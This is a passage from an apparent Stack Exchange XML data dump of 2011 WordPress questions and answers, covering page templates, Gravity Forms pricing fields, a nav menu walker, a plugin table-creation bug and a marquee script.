'catde_admin_init',0);&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-03-30T16:02:29.550" LastActivityDate="2011-03-30T16:02:29.550" Title="TinyMCE Rich Text Editor works on one 3.1 site, not on another?" Tags="&lt;tinymce&gt;" CommentCount="5" FavoriteCount="0" />
  <row Id="13356" PostTypeId="2" ParentId="13235" CreationDate="2011-03-29T05:44:43.033" Score="0" ViewCount="" Body="&lt;p&gt;ok so i guess there was some code in  the template for the home page that i c&amp;amp;ped off some site that was making wordpress think it was the blog page - once i excised that and then did is_front_page() everything was cool - so thx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the code if anyone might be at all interested - i was under the impression it was necessary to designate a template - obvs theres a bunch of extra stuff in there tho&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: blog&#xA;*/&#xA;$pagenum = $wp_query-&amp;gt;query_vars;&#xA;$pagenum = $pagenum['paged'];&#xA;&#xA;if (empty($pagenum)) {&#xA;$pagenum = 1;&#xA;}&#xA;&#xA;query_posts(&quot;posts_per_page=10&amp;amp;paged=$pagenum&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2174" LastActivityDate="2011-03-29T05:44:43.033" />
  <row Id="13357" PostTypeId="2" ParentId="13351" CreationDate="2011-03-29T05:44:59.650" Score="1" ViewCount="" Body="&lt;p&gt;The Gravity Forms pricing fields are available on the form builder and can be used to add product and pricing to a form.  Gravity Forms is not a shopping cart but it can be used to pass data to a shopping cart or payment system like Paypal or ejunkie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/JdDVW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the form to pass the data to a shopping cart you can set up a redirect and build a query string into the url.  Check the pass data via query string box and put a ? at the end of the base url then set up the data by giving it labels like &quot;price=&quot; then use the drop down selector choose what form field data goes after each label.  Between data sets enter a &amp;amp;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/2TAJK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what the form will look like for the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/yx7nA.png&quot; alt=&quot;Form Preview&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what your redirect url will look like when the user clicks submit.  And your shopping cart will have to be set up to use the data to populate whatever fields it needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/kScRM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also find more information in the &lt;a href=&quot;http://www.gravityhelp.com/documentation/page/Form_Fields#Pricing_Fields&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms Documentation&lt;/a&gt; and in the &lt;a href=&quot;http://www.gravityhelp.com/forums/search.php?search=%22pricing%20fields%22&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms Support Forums&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-03-29T05:59:11.587" LastActivityDate="2011-03-29T05:59:11.587" />
  <row Id="13359" PostTypeId="2" ParentId="13342" CreationDate="2011-03-29T06:23:46.900" Score="2" ViewCount="" Body="&lt;p&gt;The problem is with the kommiku plugin.  Disable the plugin by renaming the kommiku folder in the wp-content/plugins directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of other users seem to be experiencing &lt;a href=&quot;http://wordpress.org/tags/kommiku&quot; rel=&quot;nofollow&quot;&gt;bugs and problems&lt;/a&gt; with the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check your .htaccess file and see if any there are any weird redirects.  If there are you can delete it and WordPress will generate a new one when you flush your rewrite rules by saving your permalink settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you are not using default permalinks according to the kommiku plugin documentations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of the 302 Redirect in the headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you view the source of the page there is a broken xml feed then the page content underneath.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/bJbgL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Upon further inspection, it appears&#xA;  that EVERY page goes to that empty&#xA;  feed page (including the admin panel&#xA;  link).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The blog posts and category archives are fine but to access the admin you will have to rename the wp-content/plugins/kommiku folder and possibly clean out the .htaccess file in the root directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lizconley.com/page/2/&quot; rel=&quot;nofollow&quot;&gt;http://lizconley.com/page/2/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lizconley.com/category/prints/&quot; rel=&quot;nofollow&quot;&gt;http://lizconley.com/category/prints/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-03-29T06:42:25.560" LastActivityDate="2011-03-29T06:42:25.560" />
  <row Id="13361" PostTypeId="2" ParentId="10118" CreationDate="2011-03-29T06:47:52.477" Score="0" ViewCount="" Body="&lt;p&gt;I found a solution at this site through &lt;a href=&quot;http://www.kriesi.at/archives/improve-your-wordpress-navigation-menu-output&quot; rel=&quot;nofollow&quot;&gt;the use of a custom walker&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two steps: replace the default wp_nav_menu code with an edited one, and then add code to the functions.php of the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, replace the default wp_nav_code with the following (the code is copied from the above site):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    wp_nav_menu( array(&#xA;     'menu' =&amp;gt; 'Main Menu',&#xA;     'container' =&amp;gt; false,&#xA;     'menu_class' =&amp;gt; 'nav',&#xA;     'echo' =&amp;gt; true,&#xA;     'before' =&amp;gt; '',&#xA;     'after' =&amp;gt; '',&#xA;     'link_before' =&amp;gt; '',&#xA;     'link_after' =&amp;gt; '',&#xA;     'depth' =&amp;gt; 0,&#xA;     'walker' =&amp;gt; new description_walker())&#xA;     );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, add the following code to functions.php. By doing this you can actually add a class to the menu links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class description_walker extends Walker_Nav_Menu&#xA;{&#xA;&#xA;  function start_el(&amp;amp;$output, $item, $depth, $args)&#xA;  {&#xA;       global $wp_query;&#xA;       $indent = ( $depth ) ? str_repeat( &quot;\t&quot;, $depth ) : '';&#xA;&#xA;       $class_names = $value = '';&#xA;&#xA;       $classes = empty( $item-&amp;gt;classes ) ? array() : (array) $item-&amp;gt;classes;&#xA;&#xA;       $class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) );&#xA;       $class_names = ' class=&quot;'. esc_attr( $class_names ) . '&quot;';&#xA;&#xA;       $output .= $indent . '&amp;lt;li id=&quot;menu-item-'. $item-&amp;gt;ID . '&quot;' . $value . $class_names .'&amp;gt;';&#xA;&#xA;       $attributes  = ! empty( $item-&amp;gt;attr_title ) ? ' title=&quot;'  . esc_attr( $item-&amp;gt;attr_title ) .'&quot;' : '';&#xA;       $attributes .= ! empty( $item-&amp;gt;target )     ? ' target=&quot;' . esc_attr( $item-&amp;gt;target     ) .'&quot;' : '';&#xA;       $attributes .= ! empty( $item-&amp;gt;xfn )        ? ' rel=&quot;'    . esc_attr( $item-&amp;gt;xfn        ) .'&quot;' : '';&#xA;       $attributes .= ! empty( $item-&amp;gt;url )        ? ' href=&quot;'   . esc_attr( $item-&amp;gt;url        ) .'&quot;' : '';&#xA;&#xA;       $prepend = '&amp;lt;strong&amp;gt;';&#xA;       $append = '&amp;lt;/strong&amp;gt;';&#xA;       $description  = ! empty( $item-&amp;gt;description ) ? '&amp;lt;span&amp;gt;'.esc_attr( $item-&amp;gt;description ).'&amp;lt;/span&amp;gt;' : '';&#xA;&#xA;       if($depth != 0)&#xA;       {&#xA;                 $description = $append = $prepend = &quot;&quot;;&#xA;       }&#xA;&#xA;        $item_output = $args-&amp;gt;before;&#xA;        $item_output .= '&amp;lt;a'. $attributes .'&amp;gt;';&#xA;        $item_output .= $args-&amp;gt;link_before .$prepend.apply_filters( 'the_title', $item-&amp;gt;title, $item-&amp;gt;ID ).$append;&#xA;        $item_output .= $description.$args-&amp;gt;link_after;&#xA;        $item_output .= '&amp;lt;/a&amp;gt;';&#xA;        $item_output .= $args-&amp;gt;after;&#xA;&#xA;        $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );&#xA;&#xA;                    if ($item-&amp;gt;menu_order == 1) {&#xA;            $classes[] = 'first';&#xA;        }&#xA;&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Towards the end of the code are several lines that start with $item_output. In particular, you want to look at this piece:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item_output .= '&amp;lt;a'. $attributes .'&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because this line determines the output for the beginning of the link html. If you change it to something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item_output .= '&amp;lt;a'. $attributes . 'class=&quot;abc&quot;' .'&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then all your links in the menu will have class=&quot;abc&quot; added to them.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That said, it doesn't allow a custom class for each link (or at least I don't know how to code it). This is an issue for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those asking &lt;strong&gt;why would you want to do this?&lt;/strong&gt; I want to have my menu links open lightboxes (colorboxes, to be more specific), and they require classes on the links to do that. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;lightbox1&quot; href=&quot;#&quot;&amp;gt;Photo&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there possibly a way to dynamically generate the classes, such as &quot;lightbox1&quot; for the first link, &quot;lightbox2&quot; for the second link, and so on?&lt;/p&gt;&#xA;" OwnerUserId="4285" LastEditorUserId="4285" LastEditorDisplayName="" LastEditDate="2011-03-29T07:29:12.767" LastActivityDate="2011-03-29T07:29:12.767" />
  <row Id="13363" PostTypeId="1" CreationDate="2011-03-29T07:11:51.980" Score="0" ViewCount="215" Body="&lt;p&gt;I am trying to create a small plugin but it not creating table in database when i activate the plugin.&#xA;please have a look the code given below there is function &lt;code&gt;function jal_install ()&lt;/code&gt; it not called.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      &amp;lt;?php&#xA;        /*&#xA;        Plugin Name: My-Ads&#xA;        Plugin URI: http://wordpress.org/#&#xA;        Description: This is the most basic wordpress plugin, gets input from the user and displays it on every page.&#xA;        Author: shalu&#xA;&#xA;&#xA;       */&#xA;&#xA;       /*when plugin is activated*/&#xA;&#xA;       register_activation_hook(_FILE_,'my_first_install');&#xA;&#xA;      /*when plugin is deactivated*/&#xA;      register_deactivation_hook( __FILE__, 'my_first_remove' );&#xA;&#xA;      function my_first_install()&#xA;       {&#xA;         add_option(&quot;my_first_data&quot;, 'Testing !! My Plugin is Working Fine.', 'This is my first plugin panel data.', 'yes');&#xA;&#xA;       }&#xA;       function my_first_remove() &#xA;          {&#xA;        /* Deletes the database field */&#xA;        delete_option('my_first_data');&#xA;&#xA;           }&#xA;&#xA;           /*Code-Add Admin Panel Menu Item*/&#xA;&#xA;      if(is_admin())&#xA;        {&#xA;               add_action('admin_menu','my_first_admin_menu');&#xA;&#xA;           function my_first_admin_menu()&#xA;            {&#xA;             add_options_page('My First', 'Ads', 'administrator','my-first',        'my_first_plugin_page');&#xA;             }&#xA;            }&#xA;&#xA;&#xA;&#xA;         function my_first_plugin_page() {&#xA;       ?&amp;gt;&#xA;&#xA;         &amp;lt;div&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Add your ads from here&amp;lt;/h2&amp;gt;&#xA;          &amp;lt;form method=&quot;post&quot; action=&quot;options.php&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;             &amp;lt;?php wp_nonce_field('update-options'); ?&amp;gt;&#xA;          &amp;lt;table width=&quot;510&quot;&amp;gt;&#xA;      &amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;        &amp;lt;th width=&quot;92&quot; scope=&quot;row&quot;&amp;gt;Name:&amp;lt;/th&amp;gt;&#xA;          &amp;lt;td width=&quot;406&quot;&amp;gt;&#xA;           &amp;lt;input name=&quot;my_first_data&quot; type=&quot;text&quot; id=&quot;my_first_data&quot; value=&quot;&amp;lt;?php echo get_option('my_first_data'); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;           &amp;lt;/tr&amp;gt;&#xA;           &amp;lt;tr&amp;gt;&#xA;         &amp;lt;th width=&quot;92&quot; scope=&quot;row&quot;&amp;gt;Target Url:&amp;lt;/th&amp;gt;&#xA;         &amp;lt;td width=&quot;406&quot;&amp;gt;&#xA;          &amp;lt;input name=&quot;Target_Url&quot; type=&quot;text&quot; id=&quot;Target_Url&quot; value=&quot;&amp;lt;?php echo get_option('Target_Url'); ?&amp;gt;&quot; /&amp;gt;&#xA;           &amp;lt;/td&amp;gt;&#xA;          &amp;lt;tr&amp;gt;&#xA;          &amp;lt;tr&amp;gt;&#xA;         &amp;lt;th width=&quot;92&quot; scope=&quot;row&quot;&amp;gt;Ad image:&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td width=&quot;406&quot;&amp;gt;&#xA;          &amp;lt;input name=&quot;file&quot; type=&quot;file&quot; id=&quot;file&quot;/&amp;gt;&amp;lt;/td&amp;gt;&#xA;          &amp;lt;/tr&amp;gt;&#xA;       &amp;lt;/table&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;update&quot; /&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;page_options&quot; value=&quot;my_first_data&quot; /&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;       &amp;lt;input type=&quot;submit&quot; value=&quot;&amp;lt;?php _e('Save Changes') ?&amp;gt;&quot; /&amp;gt;&#xA;         &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;           &amp;lt;/div&amp;gt;&#xA;           &amp;lt;?php&#xA;&#xA;               }&#xA;&#xA;          /* This calls my_first() function when wordpress initializes.*/&#xA;        function my_first()&#xA;       {&#xA;&#xA;          echo get_option('my_first_data');&#xA;           }&#xA;&#xA;       function jal_install () {&#xA;           global $wpdb;&#xA;              global $jal_db_version;&#xA;&#xA;           $table_name = $wpdb-&amp;gt;prefix . &quot;liveshoutbox&quot;;&#xA;           echo $table_name;&#xA;            if($wpdb-&amp;gt;get_var(&quot;show tables like '$table_name'&quot;) != $table_name) {&#xA;&#xA;           $sql = &quot;CREATE TABLE &quot; . $table_name . &quot; (&#xA;      id mediumint(9) NOT NULL AUTO_INCREMENT,&#xA;  time bigint(11) DEFAULT '0' NOT NULL,&#xA;  name tinytext NOT NULL,&#xA;  text text NOT NULL,&#xA;  url VARCHAR(55) NOT NULL,&#xA;  UNIQUE KEY id (id)&#xA;);&quot;;&#xA;&#xA;  require_once(ABSPATH . 'wp-admin/includes/upgrade.php');&#xA;  dbDelta($sql);&#xA;&#xA;  $rows_affected = $wpdb-&amp;gt;insert( $table_name, array( 'time' =&amp;gt; current_time('mysql'), 'name' =&amp;gt; $welcome_name, 'text' =&amp;gt; $welcome_text ) );&#xA;&#xA;  add_option(&quot;jal_db_version&quot;, $jal_db_version);&#xA;&#xA;            }&#xA;          }&#xA;&#xA;        //calling the function&#xA;        register_activation_hook(__FILE__,'jal_install');&#xA;&#xA;         ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;please help me where is the issue.&#xA;I shall be very thankful you&lt;/p&gt;&#xA;" OwnerUserId="1850" LastActivityDate="2011-03-29T16:47:49.323" Title="How to call function that create table in databse (plugin functionality)" Tags="&lt;php&gt;" AnswerCount="3" />
  <row Id="13364" PostTypeId="1" AcceptedAnswerId="13698" CreationDate="2011-03-29T07:16:10.817" Score="0" ViewCount="162" Body="&lt;p&gt;I am having a JavaScript which is used for marquee, I want to use this in my wordpress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this java script is conflicting with my wordpress, I am using this in footer, but just the &lt;code&gt;div&lt;/code&gt; area is getting loaded, the marquee in it is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;marq&quot;&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;/***********************************************&#xA;* Conveyor belt slideshow script- © Dynamic Drive DHTML code library (www.dynamicdrive.com)&#xA;* This notice MUST stay intact for legal use&#xA;* Visit Dynamic Drive at http://www.dynamicdrive.com/ for full source code&#xA;***********************************************/&#xA;&#xA;&#xA;//Specify the slider's width (in pixels)&#xA;var sliderwidth=&quot;900px&quot;&#xA;//Specify the slider's height&#xA;var sliderheight=&quot;100px&quot;&#xA;//Specify the slider's slide speed (larger is faster 1-10)&#xA;var slidespeed=5&#xA;//configure background color:&#xA;slidebgcolor=&quot;#FFFFFF&quot;&#xA;&#xA;//Specify the slider's images&#xA;var leftrightslide=new Array()&#xA;var finalslide=''&#xA;&#xA;leftrightslide[0]='&amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#FFFFFF;&quot;&amp;gt;&amp;lt;img src=&quot;images/management-paradise-logo.jpg&quot; style=&quot;height:80px; opacity:0.4;filter:alpha(opacity=40)&quot;onmouseover=&quot;this.style.opacity=1;this.filters.alpha.opacity=100&quot;onmouseout=&quot;this.style.opacity=0.4;this.filters.alpha.opacity=40&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;img src=&quot;images/line.png&quot; style=&quot;height:80px; padding-left:30px; padding-right:30px; padding-bottom:10px;&quot;/&amp;gt;'&#xA;leftrightslide[1]='&amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#FFFFFF;&quot;&amp;gt;&amp;lt;img src=&quot;images/MBAS.IN.jpg&quot;  style=&quot;opacity:0.4;filter:alpha(opacity=40)&quot;onmouseover=&quot;this.style.opacity=1;this.filters.alpha.opacity=100&quot;onmouseout=&quot;this.style.opacity=0.4;this.filters.alpha.opacity=40&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;img src=&quot;images/line.png &quot; style=&quot;height:80px; padding-left:30px; padding-right:30px; padding-bottom:10px;&quot;/&amp;gt;'&#xA;leftrightslide[2]='&amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#FFFFFF;&quot;&amp;gt;&amp;lt;img src=&quot;images/bms.co.in.jpg&quot; style=&quot;height:80px; opacity:0.4;filter:alpha(opacity=40)&quot;onmouseover=&quot;this.style.opacity=1;this.filters.alpha.opacity=100&quot;onmouseout=&quot;this.style.opacity=0.4;this.filters.alpha.opacity=40&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;img src=&quot;images/line.png&quot; style=&quot;height:80px; padding-left:30px; padding-right:30px; padding-bottom:10px;&quot;/&amp;gt;'&#xA;leftrightslide[3]='&amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#FFFFFF;&quot;&amp;gt;&amp;lt;img src=&quot;images/mbas.co.in.jpg&quot; style=&quot;height:80px; opacity:0.4;filter:alpha(opacity=40)&quot;onmouseover=&quot;this.style.opacity=1;this.filters.alpha.opacity=100&quot;onmouseout=&quot;this.style.opacity=0.4;this.filters.alpha.opacity=40&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;img src=&quot;images/line.png&quot; style=&quot;height:80px; padding-left:30px; padding-right:30px; padding-bottom:10px;&quot;/&amp;gt;'&#xA;leftrightslide[4]='&amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#FFFFFF;&quot;&amp;gt;&amp;lt;img src=&quot;images/MCAS.jpg&quot; style=&quot;height:80px; opacity:0.4;filter:alpha(opacity=40)&quot;onmouseover=&quot;this.style.opacity=1;this.filters.alpha.opacity=100&quot;onmouseout=&quot;this.style.opacity=0.4;this.filters.alpha.opacity=40&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;img src=&quot;images/line.png&quot; style=&quot;height:80px; padding-left:30px; padding-right:30px; padding-bottom:10px;&quot;/&amp;gt;'&#xA;leftrightslide[5]='&amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#FFFFFF;&quot;&amp;gt;&amp;lt;img src=&quot;images/casestudy.co.in.jpg&quot; style=&quot;height:80px; opacity:0.4;filter:alpha(opacity=40)&quot;onmouseover=&quot;this.style.opacity=1;this.filters.alpha.opacity=100&quot;onmouseout=&quot;this.style.opacity=0.4;this.filters.alpha.opacity=40&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;img src=&quot;images/line.png&quot; style=&quot;height:80px; padding-left:30px; padding-right:30px; padding-bottom:10px;&quot;/&amp;gt;'&#xA;leftrightslide[6]='&amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#FFFFFF;&quot;&amp;gt;&amp;lt;img src=&quot;images/ONLINEMBA.CO.IN.jpg&quot; style=&quot;height:80px; opacity:0.4;filter:alpha(opacity=40)&quot;onmouseover=&quot;this.style.opacity=1;this.filters.alpha.opacity=100&quot;onmouseout=&quot;this.style.opacity=0.4;this.filters.alpha.opacity=40&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;img src=&quot;images/line.png&quot; style=&quot;height:80px; padding-left:30px; padding-right:30px; padding-bottom:10px;&quot;/&amp;gt;'&#xA;leftrightslide[7]='&amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#FFFFFF;&quot;&amp;gt;&amp;lt;img src=&quot;images/BAF.jpg&quot; style=&quot;height:80px; opacity:0.4;filter:alpha(opacity=40)&quot;onmouseover=&quot;this.style.opacity=1;this.filters.alpha.opacity=100&quot;onmouseout=&quot;this.style.opacity=0.4;this.filters.alpha.opacity=40&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;img src=&quot;images/line.png&quot; style=&quot;height:80px; padding-left:30px; padding-right:30px; padding-bottom:10px;&quot;/&amp;gt;'&#xA;leftrightslide[8]='&amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#FFFFFF;&quot;&amp;gt;&amp;lt;img src=&quot;images/BBI.jpg&quot; style=&quot;height:80px; opacity:0.4;filter:alpha(opacity=40)&quot;onmouseover=&quot;this.style.opacity=1;this.filters.alpha.opacity=100&quot;onmouseout=&quot;this.style.opacity=0.4;this.filters.alpha.opacity=40&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;img src=&quot;images/line.png&quot; style=&quot;height:80px; padding-left:30px; padding-right:30px; padding-bottom:10px;&quot;/&amp;gt;'&#xA;leftrightslide[9]='&amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#FFFFFF;&quot;&amp;gt;&amp;lt;img src=&quot;images/BFM.jpg&quot; style=&quot;height:80px; opacity:0.4;filter:alpha(opacity=40)&quot;onmouseover=&quot;this.style.opacity=1;this.filters.alpha.opacity=100&quot;onmouseout=&quot;this.style.opacity=0.4;this.filters.alpha.opacity=40&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;img src=&quot;images/line.png&quot; style=&quot;height:80px; padding-left:30px; padding-right:30px; padding-bottom:10px;&quot;/&amp;gt;'&#xA;leftrightslide[10]='&amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#FFFFFF;&quot;&amp;gt;&amp;lt;img src=&quot;images/BMM.jpg&quot; style=&quot;height:80px; opacity:0.4;filter:alpha(opacity=40)&quot;onmouseover=&quot;this.style.opacity=1;this.filters.alpha.opacity=100&quot;onmouseout=&quot;this.style.opacity=0.4;this.filters.alpha.opacity=40&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;img src=&quot;images/line.png&quot; style=&quot;height:80px; padding-left:30px; padding-right:30px; padding-bottom:10px;&quot;/&amp;gt;'&#xA;leftrightslide[11]='&amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; style=&quot;color:#FFFFFF;&quot;&amp;gt;&amp;lt;img src=&quot;images/U-K.IN.jpg&quot; style=&quot;height:80px; opacity:0.4;filter:alpha(opacity=40)&quot;onmouseover=&quot;this.style.opacity=1;this.filters.alpha.opacity=100&quot;onmouseout=&quot;this.style.opacity=0.4;this.filters.alpha.opacity=40&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;img src=&quot;images/line.png&quot; style=&quot;height:80px; padding-left:30px; padding-right:30px; padding-bottom:10px;&quot;/&amp;gt;'&#xA;&#xA;//Specify gap between each image (use HTML):&#xA;var imagegap=&quot; &quot;&#xA;&#xA;//Specify pixels gap between each slideshow rotation (use integer):&#xA;var slideshowgap=5&#xA;&#xA;&#xA;////NO NEED TO EDIT BELOW THIS LINE////////////&#xA;&#xA;var copyspeed=slidespeed&#xA;leftrightslide='&amp;lt;nobr&amp;gt;'+leftrightslide.join(imagegap)+'&amp;lt;/nobr&amp;gt;'&#xA;var iedom=document.all||document.getElementById&#xA;if (iedom)&#xA;document.write('&amp;lt;span id=&quot;temp&quot; style=&quot;visibility:hidden;position:absolute;top:-100px;left:-9000px&quot;&amp;gt;'+leftrightslide+'&amp;lt;/span&amp;gt;')&#xA;var actualwidth=''&#xA;var cross_slide, ns_slide&#xA;&#xA;function fillup(){&#xA;if (iedom){&#xA;cross_slide=document.getElementById? document.getElementById(&quot;test2&quot;) : document.all.test2&#xA;cross_slide2=document.getElementById? document.getElementById(&quot;test3&quot;) : document.all.test3&#xA;cross_slide.innerHTML=cross_slide2.innerHTML=leftrightslide&#xA;actualwidth=document.all? cross_slide.offsetWidth : document.getElementById(&quot;temp&quot;).offsetWidth&#xA;cross_slide2.style.left=actualwidth+slideshowgap+&quot;px&quot;&#xA;}&#xA;else if (document.layers){&#xA;ns_slide=document.ns_slidemenu.document.ns_slidemenu2&#xA;ns_slide2=document.ns_slidemenu.document.ns_slidemenu3&#xA;ns_slide.document.write(leftrightslide)&#xA;ns_slide.document.close()&#xA;actualwidth=ns_slide.document.width&#xA;ns_slide2.left=actualwidth+slideshowgap&#xA;ns_slide2.document.write(leftrightslide)&#xA;ns_slide2.document.close()&#xA;}&#xA;lefttime=setInterval(&quot;slideleft()&quot;,30)&#xA;}&#xA;window.onload=fillup&#xA;&#xA;function slideleft(){&#xA;if (iedom){&#xA;if (parseInt(cross_slide.style.left)&amp;gt;(actualwidth*(-1)+8))&#xA;cross_slide.style.left=parseInt(cross_slide.style.left)-copyspeed+&quot;px&quot;&#xA;else&#xA;cross_slide.style.left=parseInt(cross_slide2.style.left)+actualwidth+slideshowgap+&quot;px&quot;&#xA;&#xA;if (parseInt(cross_slide2.style.left)&amp;gt;(actualwidth*(-1)+8))&#xA;cross_slide2.style.left=parseInt(cross_slide2.style.left)-copyspeed+&quot;px&quot;&#xA;else&#xA;cross_slide2.style.left=parseInt(cross_slide.style.left)+actualwidth+slideshowgap+&quot;px&quot;&#xA;&#xA;}&#xA;else if (document.layers){&#xA;if (ns_slide.left&amp;gt;(actualwidth*(-1)+8))&#xA;ns_slide.left-=copyspeed&#xA;else&#xA;ns_slide.left=ns_slide2.left+actualwidth+slideshowgap&#xA;&#xA;if (ns_slide2.left&amp;gt;(actualwidth*(-1)+8))&#xA;ns_slide2.left-=copyspeed&#xA;else&#xA;ns_slide2.left=ns_slide.left+actualwidth+slideshowgap&#xA;}&#xA;}&#xA;&#xA;&#xA;if (iedom||document.layers){&#xA;with (document){&#xA;document.write('&amp;lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&amp;gt;&amp;lt;td&amp;gt;')&#xA;if (iedom){&#xA;write('&amp;lt;div style=&quot;position:relative;width:'+sliderwidth+';height:'+sliderheight+';overflow:hidden&quot;&amp;gt;')&#xA;write('&amp;lt;div style=&quot;position:absolute;width:'+sliderwidth+';height:'+sliderheight+';background-color:'+slidebgcolor+'&quot; onMouseover=&quot;copyspeed=0&quot; onMouseout=&quot;copyspeed=slidespeed&quot;&amp;gt;')&#xA;write('&amp;lt;div id=&quot;test2&quot; style=&quot;position:absolute;left:0px;top:0px&quot;&amp;gt;&amp;lt;/div&amp;gt;')&#xA;write('&amp;lt;div id=&quot;test3&quot; 